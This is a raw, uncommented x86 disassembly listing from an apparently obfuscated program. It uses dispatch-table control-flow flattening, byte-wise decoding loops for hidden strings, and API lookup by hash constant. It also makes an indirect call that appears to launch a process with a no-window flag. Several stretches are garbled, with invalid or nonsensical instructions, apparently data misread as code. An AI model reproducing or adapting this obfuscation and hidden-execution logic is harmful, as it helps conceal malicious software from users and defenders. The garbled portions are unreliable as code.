mov edi, dword [eax]
mov dword [esi + 0x490], 1
mov eax, dword [esi + 0x494]
mov ecx, dword [esi + 0x490]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x6f8]
mov ecx, dword [esi + 0x6fc]
mov ecx, dword [ecx + eax*4]
mov eax, 4
mov dword [esi + 8], 0
mov edi, dword [esi + 0x18]
mov ebx, dword [esi + 4]
jmp ecx
and bl, 1
movzx eax, bl
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor byte [edx - 0x31], cl
sub al, 0x69
push ebp
je 0x41571f
mov eax, dword [esi + 0x2f8]
mov ecx, dword [esi + 0x2fc]
mov eax, dword [ecx + eax*4]
jmp eax
fld qword [edi - 0x79380001]
cwde
push es
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov eax, dword [esi + 0x69c]
mov ecx, dword [esi + 0x698]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x7e0]
mov ecx, dword [esi + 0x7e4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x888]
mov ecx, dword [esi + 0x88c]
mov eax, dword [ecx + eax*4]
mov bl, 1
jmp eax
mov eax, dword [esi + 0x638]
mov ecx, dword [esi + 0x63c]
mov eax, dword [ecx + eax*4]
xor ebx, ebx
mov dword [esi + 0x38], 0
mov edi, dword [esi + 0x18]
jmp eax
movzx eax, bl
and eax, 1
mov dword [esi + 0x688], eax
mov eax, dword [esi + 0x68c]
mov ecx, dword [esi + 0x688]
mov eax, dword [eax + ecx*4]
mov dword [esi + 0x118], 0
jmp eax
mov eax, dword [esi + 0x3f0]
mov ecx, dword [esi + 0x3f4]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esi]
jmp eax
mov al, byte [esi + 0x1bc]
mov byte [esi + 0x1c0], al
mov byte [esi + 0x64], 0x9b
mov byte [esi + 0x65], 0x9a
mov byte [esi + 0x66], 0x9d
mov byte [esi + 0x67], 0x9c
mov dword [esi + 0x80], 0
mov eax, dword [esi + 0x80]
cmp eax, 4
jae 0x415846
mov eax, dword [esi + 0x80]
mov ecx, dword [esi + 0x80]
movzx ecx, byte [esi + ecx + 0x64]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419200
add esp, 8
mov ecx, dword [esi + 0x80]
mov byte [esi + ecx + 0x64], al
mov eax, dword [esi + 0x80]
inc eax
mov dword [esi + 0x80], eax
jmp 0x4157ff
mov edi, dword [esi + 0x64]
xor ebx, ebx
cmp ebx, dword [0x44e374]
jb 0x415855
jmp 0x4158c3
mov eax, dword [0x44e378]
cmp dword [eax + ebx*8], 0x7e28bda7
sete cl
test cl, 1
jne 0x41586b
jmp 0x4158b7
mov eax, dword [eax + ebx*8 + 4]
cmp eax, edi
je 0x4158b7
mov byte [esi + 0x2f], cl
mov ecx, dword [0x44e37c]
xor edx, edx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
mov eax, dword [esi + 0x11c]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
mov eax, dword [esi + 0x124]
mov dword [esp + 0x14], eax
call fcn.0043e4b0
mov cl, byte [esi + 0x2f]
add esp, 0x18
test cl, 1
je 0x4158be
jmp 0x4158c3
add ebx, 1
jmp 0x41584b
mov dword [esi + 0x538], 1
mov eax, dword [esi + 0x53c]
mov ecx, dword [esi + 0x538]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x890], 1
mov eax, dword [esi + 0x894]
mov ecx, dword [esi + 0x890]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x5c0], 1
mov eax, dword [esi + 0x5c4]
mov ecx, dword [esi + 0x5c0]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x578], 0
mov eax, dword [esi + 0x57c]
mov ecx, dword [esi + 0x578]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x460], 0
mov eax, dword [esi + 0x464]
mov ecx, dword [esi + 0x460]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x7e8], 0
mov eax, dword [esi + 0x7ec]
mov ecx, dword [esi + 0x7e8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x820], 0
mov eax, dword [esi + 0x824]
mov ecx, dword [esi + 0x820]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x830], 0
mov eax, dword [esi + 0x834]
mov ecx, dword [esi + 0x830]
mov eax, dword [eax + ecx*4]
jmp eax
in al, dx
xor esp, dword [ecx + esi*4 - 0x76]
add ecx, dword [eax + 0x19886]
add dh, al
pop es
stosb byte es:[edi], al
mov byte [edi + 1], 0x51
mov byte [edi + 2], 0xc6
mov eax, 3
mov byte [edi + eax], 0
add eax, 1
cmp eax, 6
jne 0x415a66
mov dword [esi + 0xcc], 0
mov eax, dword [esi + 0xcc]
cmp eax, 6
jae 0x415ac1
mov eax, dword [esi + 0xcc]
mov ecx, dword [esi + 0xcc]
movzx ecx, byte [edi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004194e0
add esp, 8
mov ecx, dword [esi + 0xcc]
mov byte [edi + ecx], al
mov eax, dword [esi + 0xcc]
inc eax
mov dword [esi + 0xcc], eax
jmp 0x415a7c
sub esp, 8
mov eax, dword [esi + 0xc]
mov dword [esp], eax
mov dword [esp + 4], edi
call fcn.00404480
add esp, 8
mov eax, dword [esi + 0x1f4]
mov al, byte [eax]
mov byte [esi + 0x1a0], al
mov edx, dword [esi + 0x10c]
mov byte [edx], 0xe7
mov byte [edx + 1], 0xd5
mov byte [edx + 2], 0x46
mov eax, 3
mov byte [edx + eax], 0
add eax, 1
cmp eax, 7
jne 0x415afa
mov dword [esi + 0xd4], 0
mov eax, dword [esi + 0xd4]
cmp eax, 7
jae 0x415b5b
mov eax, dword [esi + 0xd4]
mov ecx, dword [esi + 0xd4]
movzx ecx, byte [edx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419520
mov edx, dword [esi + 0x10c]
add esp, 8
mov ecx, dword [esi + 0xd4]
mov byte [edx + ecx], al
mov eax, dword [esi + 0xd4]
inc eax
mov dword [esi + 0xd4], eax
jmp 0x415b10
sub esp, 8
mov dword [esp + 4], edx
mov eax, dword [esi + 0xc]
mov dword [esp], eax
call fcn.00404480
add esp, 8
mov eax, dword [esi + 0x378]
mov ecx, dword [esi + 0x37c]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 4
mov dword [esp], edi
call fcn.0040c480
add esp, 4
mov eax, dword [esi + 0x660]
mov ecx, dword [esi + 0x664]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x4d8]
mov ecx, dword [esi + 0x4dc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x408]
mov ecx, dword [esi + 0x40c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x780]
mov ecx, dword [esi + 0x784]
mov eax, dword [ecx + eax*4]
mov edi, dword [esi + 0x2c8]
jmp eax
mov eax, dword [esi + 0x20c]
mov al, byte [eax]
mov byte [esi + 0x180], al
mov byte [ebx], 0xe8
mov byte [ebx + 1], 0x79
mov eax, 2
mov edi, ebx
mov byte [edi + eax], 0
add eax, 1
cmp eax, 8
jne 0x415c33
mov dword [esi + 0xac], 0
mov ebx, dword [esi + 0xc]
mov eax, dword [esi + 0xac]
cmp eax, 8
jae 0x415c91
mov eax, dword [esi + 0xac]
mov ecx, dword [esi + 0xac]
movzx ecx, byte [edi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419370
add esp, 8
mov ecx, dword [esi + 0xac]
mov byte [edi + ecx], al
mov eax, dword [esi + 0xac]
inc eax
mov dword [esi + 0xac], eax
jmp 0x415c4c
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.00404480
add esp, 8
mov ebx, edi
xor ecx, ecx
mov dword [esi + 0x34], eax
test eax, eax
setne al
mov dword [esi + 0x7c0], 1
mov edx, dword [esi + 0x7c4]
mov edi, dword [esi + 0x7c0]
mov edx, dword [edx + edi*4]
jmp edx
xor eax, eax
test edx, edx
sete al
mov dword [esi + 0x590], eax
mov eax, dword [esi + 0x594]
mov ecx, dword [esi + 0x590]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
mov ecx, 0x11
mov edx, dword [esi + 0x28c]
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [edx], 0x44
mov edi, edx
mov eax, dword [0x44e368]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xc9be8534
call fcn.004411b0
add esp, 8
mov dword [esi + 0x240], eax
call fcn.0040df00
call fcn.0040df00
call fcn.0040df00
call fcn.0040df00
sub esp, 0x28
mov eax, dword [esi + 0x1e8]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], edi
mov eax, dword [esi + 8]
mov dword [esp + 4], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp], 0
call dword [esi + 0x240]
xor ecx, ecx
and al, 0
add byte [eax], al
add bh, bh
xchg esi, eax
inc eax
add al, byte [eax]
add byte [ecx], dh
leave
test eax, eax
setne cl
mov dword [esi + 0x4d0], ecx
mov eax, dword [esi + 0x4d4]
mov ecx, dword [esi + 0x4d0]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x430], 1
mov eax, dword [esi + 0x434]
mov ecx, dword [esi + 0x430]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
sub esp, 4
mov dword [esp], ebx
call fcn.0040c480
add esp, 4
mov dword [esi + 0x428], 0
mov eax, dword [esi + 0x42c]
mov ecx, dword [esi + 0x428]
mov eax, dword [eax + ecx*4]
jmp eax
mov bh, bh
loopne 0x415da0
invalid
mov al, cl
and eax, 1
enter 0xffffffffffffe083, 1
mov dword [esi + 0x5f0], eax
mov eax, dword [esi + 0x5f4]
mov ecx, dword [esi + 0x5f0]
mov eax, dword [eax + ecx*4]
mov dword [esi + 8], 0
xor ebx, ebx
jmp eax
jg 0x415e14
fidivr dword [esi]
mov eax, dword [esi + 0x390]
mov ecx, dword [esi + 0x394]
mov eax, dword [ecx + eax*4]
jmp eax
push 0x8bd75028
xchg byte [eax + 3], ah
add byte [eax], al
mov ecx, dword [esi + 0x364]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 4
mov eax, dword [esi + 0x14]
mov dword [esp], eax
call fcn.0040c5e0
add esp, 4
mov edx, eax
inc edx
mov eax, dword [esi + 0x670]
mov ecx, dword [esi + 0x674]
mov eax, dword [ecx + eax*4]
jmp eax
xor eax, eax
mov ecx, edx
sub ecx, 2
sete al
mov dword [esi + 0x728], eax
mov eax, dword [esi + 0x72c]
mov ecx, dword [esi + 0x728]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi + 4]
jmp eax
mov eax, dword [esi + 0x5b0]
mov ecx, dword [esi + 0x5b4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x8a8]
mov ecx, dword [esi + 0x8ac]
mov eax, dword [ecx + eax*4]
xor edi, edi
jmp eax
mov eax, dword [esi + 0x560]
mov ecx, dword [esi + 0x564]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x630], 0
mov eax, dword [esi + 0x634]
mov ecx, dword [esi + 0x630]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
xor eax, eax
mov ecx, dword [esi + 0x38]
sub ecx, 1
sete cl
mov dword [esi + 0x6e8], 1
mov edx, dword [esi + 0x6ec]
mov edi, dword [esi + 0x6e8]
mov edx, dword [edx + edi*4]
jmp edx
call fcn.0040df00
mov dword [esi + 0x448], 0
mov eax, dword [esi + 0x44c]
mov ecx, dword [esi + 0x448]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esi], ebx
call fcn.0040df00
mov dword [esi + 0x880], 1
mov eax, dword [esi + 0x884]
mov ecx, dword [esi + 0x880]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x4e8], 1
mov eax, dword [esi + 0x4ec]
mov ecx, dword [esi + 0x4e8]
mov eax, dword [eax + ecx*4]
jmp eax
sub esp, 4
mov edi, dword [esi + 0x34]
mov dword [esp], edi
call fcn.0040c5e0
add esp, 4
mov ecx, edi
add ecx, eax
sub esp, 8
mov dword [esp], edi
mov dword [esi + 0x114], ecx
mov dword [esp + 4], ecx
call fcn.00418d90
add esp, 8
mov ebx, eax
mov eax, ebx
add eax, 1
mov ecx, 2
mov edi, eax
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x416070
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.0040c470
add esp, 4
shl edi, 1
mov dword [esi + 0x108], eax
mov edx, eax
add edx, edi
mov ecx, dword [esi + 0x114]
cmp ecx, 0
jne 0x4160ba
sub esp, 4
mov edi, dword [esi + 0x34]
mov dword [esp], edi
mov dword [esi + 0x110], ebx
mov ebx, edx
call fcn.0040c5e0
mov edx, ebx
mov ebx, dword [esi + 0x110]
add esp, 4
mov ecx, edi
add ecx, eax
mov dword [esi + 0x228], 0
mov edi, dword [esi + 0x108]
mov eax, edx
add eax, 0xfffffffe
cmp edi, eax
jae 0x416130
cmp dword [esi + 0x34], ecx
jae 0x416130
mov eax, dword [esi + 0x34]
cmp byte [eax], 0
je 0x416130
sub esp, 0xc
mov eax, dword [esi + 0x34]
mov dword [esp], eax
mov dword [esp + 4], ecx
lea eax, [esi + 0x228]
mov dword [esp + 8], eax
mov dword [esi + 0x114], ecx
mov dword [esi + 0x110], ebx
mov ebx, edx
call fcn.00410690
mov edx, ebx
mov ebx, dword [esi + 0x110]
add esp, 0xc
add dword [esi + 0x34], eax
mov eax, dword [esi + 0x228]
mov ecx, edi
add ecx, 2
mov word [edi], ax
mov edi, ecx
mov ecx, dword [esi + 0x114]
jmp 0x4160ca
mov word [edi], 0
mov eax, dword [0x44e370]
sub esp, 0x18
mov edi, dword [esi + 0x2cc]
mov dword [esp + 0x14], edi
mov dword [esp + 8], ebx
mov ecx, dword [esi + 0x108]
mov dword [esp + 4], ecx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp], 0
call eax
mov eax, dword [esi + 0x7b0]
mov ecx, dword [esi + 0x7b4]
mov eax, dword [ecx + eax*4]
jmp eax
xchg dword [edi], eax
out dx, eax
inc esi
mov eax, dword [esi + 0x348]
mov ecx, dword [esi + 0x34c]
mov eax, dword [ecx + eax*4]
jmp eax
xor eax, eax
mov cl, byte [esi + 0x31]
mov al, cl
and eax, 1
mov dword [esi + 0x658], eax
mov eax, dword [esi + 0x65c]
mov ecx, dword [esi + 0x658]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x3c0]
mov ecx, dword [esi + 0x3c4]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esi + 0x6e0], eax
mov eax, dword [esi + 0x6e4]
mov ecx, dword [esi + 0x6e0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x810]
mov ecx, dword [esi + 0x814]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x8b0]
mov ecx, dword [esi + 0x8b4]
mov eax, dword [ecx + eax*4]
xor ebx, ebx
jmp eax
mov eax, dword [esi + 0x420]
mov ecx, dword [esi + 0x424]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x368]
mov ecx, dword [esi + 0x36c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x568]
mov ecx, dword [esi + 0x56c]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 4
mov dword [esp], edx
call fcn.0040c480
add esp, 4
mov eax, dword [esi + 0x410]
mov ecx, dword [esi + 0x414]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 4
mov dword [esp], ebx
call fcn.004191a0
add esp, 4
add eax, 0x9a0b346c
sub eax, 0x9a0b344f
sub eax, 0xffffffff
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x4162a9
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.0040c470
add esp, 4
mov dword [esi + 8], eax
mov eax, dword [esi + 0x29c]
mov al, byte [eax]
mov byte [esi + 0x1ac], al
mov eax, dword [esi + 0x12c]
mov byte [eax], 2
mov byte [eax + 1], 0x21
mov byte [eax + 2], 0x22
mov byte [eax + 3], 0x23
mov dword [esi + 0xe0], 0
mov eax, dword [esi + 0xe0]
cmp eax, 4
jae 0x416335
mov eax, dword [esi + 0xe0]
mov ecx, dword [esi + 0xe0]
mov edi, dword [esi + 0x12c]
movzx ecx, byte [edi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004195b0
add esp, 8
mov ecx, dword [esi + 0xe0]
mov byte [edi + ecx], al
mov edi, dword [esi + 0x18]
mov eax, dword [esi + 0xe0]
inc eax
mov dword [esi + 0xe0], eax
jmp 0x4162e7
mov eax, dword [esi + 0x298]
mov al, byte [eax]
mov byte [esi + 0x1b0], al
mov edx, dword [esi + 0x1f0]
mov byte [edx], 0x54
mov byte [edx + 1], 0xc7
mov byte [edx + 2], 0x57
mov byte [edx + 3], 0xc1
mov byte [edx + 4], 0x59
mov byte [edx + 5], 0xc3
mov byte [edx + 6], 0x6d
mov byte [edx + 7], 0xcd
mov byte [edx + 8], 0x5e
mov byte [edx + 9], 0xcf
mov byte [edx + 0xa], 0x53
mov byte [edx + 0xb], 0xc9
mov byte [edx + 0xc], 0x60
mov byte [edx + 0xd], 0xcb
mov byte [edx + 0xe], 0x65
mov byte [edx + 0xf], 0xb5
mov byte [edx + 0x10], 0x20
mov byte [edx + 0x11], 0xb7
mov byte [edx + 0x12], 0x22
mov byte [edx + 0x13], 0xb1
mov byte [edx + 0x14], 0x50
mov byte [edx + 0x15], 0xb3
mov byte [edx + 0x16], 0x65
mov byte [edx + 0x17], 0xbd
mov byte [edx + 0x18], 0x13
mov byte [edx + 0x19], 0xbf
mov byte [edx + 0x1a], 0x26
mov byte [edx + 0x1b], 0xb9
mov byte [edx + 0x1c], 0x17
mov byte [edx + 0x1d], 0xbb
mov byte [edx + 0x1e], 0x17
mov byte [edx + 0x1f], 0xa5
mov byte [edx + 0x20], 0x44
mov byte [edx + 0x21], 0xa7
mov byte [edx + 0x22], 4
mov byte [edx + 0x23], 0xa1
mov byte [edx + 0x24], 0x3b
mov byte [edx + 0x25], 0xa3
mov byte [edx + 0x26], 0x32
mov byte [edx + 0x27], 0xad
mov byte [edx + 0x28], 0xf
mov byte [edx + 0x29], 0xaf
mov byte [edx + 0x2a], 0x33
mov byte [edx + 0x2b], 0xa9
mov byte [edx + 0x2c], 0x35
mov byte [edx + 0x2d], 0xab
mov byte [edx + 0x2e], 0x4a
mov byte [edx + 0x2f], 0x95
mov byte [edx + 0x30], 0x43
mov byte [edx + 0x31], 0x97
mov byte [edx + 0x32], 0x38
mov byte [edx + 0x33], 0x91
mov byte [edx + 0x34], 0x70
mov byte [edx + 0x35], 0x93
mov byte [edx + 0x36], 0x70
mov byte [edx + 0x37], 0x9d
mov byte [edx + 0x38], 0x9c
mov byte [edx + 0x39], 0x9f
mov eax, 0x3a
mov byte [edx + eax], 0
add eax, 1
cmp eax, 0x3d
jne 0x416435
mov dword [esi + 0xdc], 0
mov eax, dword [esi + 0xdc]
cmp eax, 0x3d
jae 0x416496
mov eax, dword [esi + 0xdc]
mov ecx, dword [esi + 0xdc]
movzx ecx, byte [edx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419580
mov edx, dword [esi + 0x1f0]
add esp, 8
mov ecx, dword [esi + 0xdc]
mov byte [edx + ecx], al
mov eax, dword [esi + 0xdc]
inc eax
mov dword [esi + 0xdc], eax
jmp 0x41644b
sub esp, 8
mov dword [esp + 4], edx
mov eax, dword [esi + 8]
mov dword [esp], eax
call fcn.0040f040
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.0040f040
mov ecx, dword [esi + 0x12c]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.0040f040
add esp, 8
mov eax, dword [esi + 0x618]
mov ecx, dword [esi + 0x61c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040df00
sub esp, 4
mov dword [esp], edi
call fcn.0040c480
add esp, 4
mov dword [esi + 0x5d8], 1
mov eax, dword [esi + 0x5dc]
mov ecx, dword [esi + 0x5d8]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
mov ecx, 0x11
mov edx, dword [esi + 0x290]
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [edx], 0x44
mov edi, ebx
mov ebx, edx
mov eax, dword [0x44e368]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xc9be8534
call fcn.004411b0
add esp, 8
mov dword [esi + 0x244], eax
call fcn.0040df00
call fcn.0040df00
call fcn.0040df00
call fcn.0040df00
sub esp, 0x28
mov eax, dword [esi + 0x128]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], ebx
mov ebx, edi
mov eax, dword [esi + 8]
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
call dword [esi + 0x244]
xor ecx, ecx
test eax, eax
setne cl
mov dword [esi + 0x580], ecx
mov eax, dword [esi + 0x584]
mov ecx, dword [esi + 0x580]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x510]
mov ecx, dword [esi + 0x514]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 8
mov eax, dword [esi + 0x120]
mov dword [esp], eax
mov ebx, edi
mov dword [esp + 4], edi
call fcn.00404770
add esp, 8
mov edi, eax
mov al, byte [esi + 0x28]
mov byte [esi + 0x154], al
mov byte [esi + 0xfc], 0xd5
mov byte [esi + 0xfd], 0x41
mov eax, 2
mov byte [esi + eax + 0xfc], 0
add eax, 1
cmp eax, 5
jne 0x416612
mov dword [esi + 0x88], 0
mov eax, dword [esi + 0x88]
cmp eax, 5
jae 0x416679
mov eax, dword [esi + 0x88]
mov ecx, dword [esi + 0x88]
movzx ecx, byte [esi + ecx + 0xfc]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00419240
add esp, 8
mov ecx, dword [esi + 0x88]
mov byte [esi + ecx + 0xfc], al
mov eax, dword [esi + 0x88]
inc eax
mov dword [esi + 0x88], eax
jmp 0x41662c
sub esp, 0xc
lea eax, [esi + 0xfc]
mov dword [esp + 4], eax
mov dword [esp], edi
mov dword [esp + 8], 2
call fcn.00404700
add esp, 0xc
mov eax, dword [esi + 0x3b8]
mov ecx, dword [esi + 0x3bc]
mov eax, dword [ecx + eax*4]
mov edi, ebx
jmp eax
xor eax, eax
mov cl, byte [esi + 0x32]
mov al, cl
and eax, 1
mov dword [esi + 0x648], eax
mov eax, dword [esi + 0x64c]
mov ecx, dword [esi + 0x648]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x7f0], 1
mov eax, dword [esi + 0x7f4]
mov ecx, dword [esi + 0x7f0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x2e0]
mov ecx, dword [esi + 0x2e4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x838], 1
mov eax, dword [esi + 0x83c]
mov ecx, dword [esi + 0x838]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
sub edx, 2
sete al
mov dword [esi + 0x598], eax
mov eax, dword [esi + 0x59c]
mov ecx, dword [esi + 0x598]
mov eax, dword [eax + ecx*4]
jmp eax
cmp dword [esi + 0x14], 0
setne al
mov byte [esi + 0x32], al
movzx eax, al
mov dword [esi + 0x678], eax
mov eax, dword [esi + 0x67c]
mov ecx, dword [esi + 0x678]
mov eax, dword [eax + ecx*4]
xor edx, edx
jmp eax
mov word [edi], 0
mov eax, dword [esi + 0x2bc]
mov al, byte [eax]
mov byte [esi + 0x188], al
mov edi, dword [esi + 0x2c0]
mov byte [edi], 0x77
mov byte [edi + 1], 0x1b
mov byte [edi + 2], 0x46
mov byte [edi + 3], 0x19
mov byte [edi + 4], 0x53
mov byte [edi + 5], 0x67
mov byte [edi + 6], 0x35
mov byte [edi + 7], 0x65
mov byte [edi + 8], 0x34
mov byte [edi + 9], 0x63
mov byte [edi + 0xa], 9
mov byte [edi + 0xb], 0x61
mov byte [edi + 0xc], 0xc4
mov byte [edi + 0xd], 0x6f
mov byte [edi + 0xe], 0x6e
mov byte [edi + 0xf], 0x6d
mov dword [esi + 0xb8], 0
mov eax, dword [esi + 0xb8]
cmp eax, 0x10
jae 0x416947
mov eax, dword [esi + 0xb8]
mov ecx, dword [esi + 0xb8]
movzx ecx, byte [edi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004193e0
add esp, 8
mov ecx, dword [esi + 0xb8]
mov byte [edi + ecx], al
mov eax, dword [esi + 0xb8]
inc eax
mov dword [esi + 0xb8], eax
jmp 0x416902
sub esp, 8
mov dword [esp + 4], edi
mov edi, dword [esi + 0x204]
mov dword [esp], edi
call fcn.0040f040
mov ecx, dword [esi + 0x208]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.0040f040
add esp, 8
mov ebx, eax
mov eax, ebx
xor eax, edi
mov ecx, edi
not ecx
and ebx, ecx
add ebx, ebx
sub ebx, eax
sar ebx, 1
mov eax, dword [0x44e370]
sub esp, 0x18
mov ecx, dword [esi + 0x134]
mov dword [esp + 0x14], ecx
mov dword [esp + 4], edi
mov dword [esp + 8], ebx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp], 0
call eax
mov eax, dword [esi + 0x134]
mov eax, dword [eax]
add eax, 4
add eax, eax
mov ecx, 0xffffffff
jb 0x4169cc
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.0040c470
add esp, 4
mov edi, dword [0x44e370]
mov edx, dword [esi + 0x134]
mov ecx, dword [edx]
sub esp, 0x18
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], ecx
mov dword [esi + 4], eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
mov ecx, dword [esi + 0x204]
mov dword [esp + 4], ecx
mov dword [esp], 0
call edi
xor eax, eax
mov edx, dword [esi + 0x38]
test edx, edx
sete al
mov dword [esi + 0x760], eax
mov eax, dword [esi + 0x764]
mov ecx, dword [esi + 0x760]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
mov ecx, edx
sub ecx, 2
setl al
mov dword [esi + 0x5a0], eax
mov eax, dword [esi + 0x5a4]
mov ecx, dword [esi + 0x5a0]
mov eax, dword [eax + ecx*4]
jmp eax
movzx eax, al
and eax, 1
mov dword [esi + 0x7f8], eax
mov eax, dword [esi + 0x7fc]
mov ecx, dword [esi + 0x7f8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
xor eax, eax
mov ecx, dword [esi + 0x38]
sub ecx, 2
sete cl
mov dword [esi + 0x628], 1
mov edx, dword [esi + 0x62c]
mov edi, dword [esi + 0x628]
mov edx, dword [edx + edi*4]
jmp edx
sub esp, 4
mov eax, dword [esi + 0x108]
mov dword [esp], eax
call fcn.0040c480
add esp, 4
mov eax, dword [esi + 0x798]
mov ecx, dword [esi + 0x79c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x6d8]
mov ecx, dword [esi + 0x6dc]
mov eax, dword [ecx + eax*4]
jmp eax
mov edi, ebx
add edi, 2
mov word [ebx], 0x2c
mov eax, dword [esi + 0x118]
shl eax, 1
mov ecx, edi
add ecx, eax
mov dword [esi + 0x24c], ecx
sub esp, 4
mov ebx, dword [esi + 0x10]
mov dword [esp], ebx
call fcn.0040c5e0
add esp, 4
mov edx, ebx
add edx, eax
mov dword [esi + 0x224], 0
mov ebx, edi
mov eax, dword [esi + 0x24c]
add eax, 0xfffffffe
cmp ebx, eax
jae 0x416b7b
cmp dword [esi + 0x10], edx
jae 0x416b7b
mov eax, dword [esi + 0x10]
cmp byte [eax], 0
je 0x416b7b
lea eax, [esi + 0x224]
sub esp, 0xc
mov edi, dword [esi + 0x10]
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], eax
mov dword [esi + 0x250], edx
call fcn.00410690
mov edx, dword [esi + 0x250]
add esp, 0xc
add edi, eax
mov dword [esi + 0x10], edi
mov eax, dword [esi + 0x224]
mov ecx, ebx
add ecx, 2
mov word [ebx], ax
mov ebx, ecx
jmp 0x416b1f
mov word [ebx], 0
mov eax, dword [esi + 0x650]
mov ecx, dword [esi + 0x654]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x808], 0
mov eax, dword [esi + 0x80c]
mov ecx, dword [esi + 0x808]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x4c0]
mov ecx, dword [esi + 0x4c4]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [ebx]
mov byte [esi + 0x19c], al
mov byte [edi], 0xaa
mov byte [edi + 1], 0x51
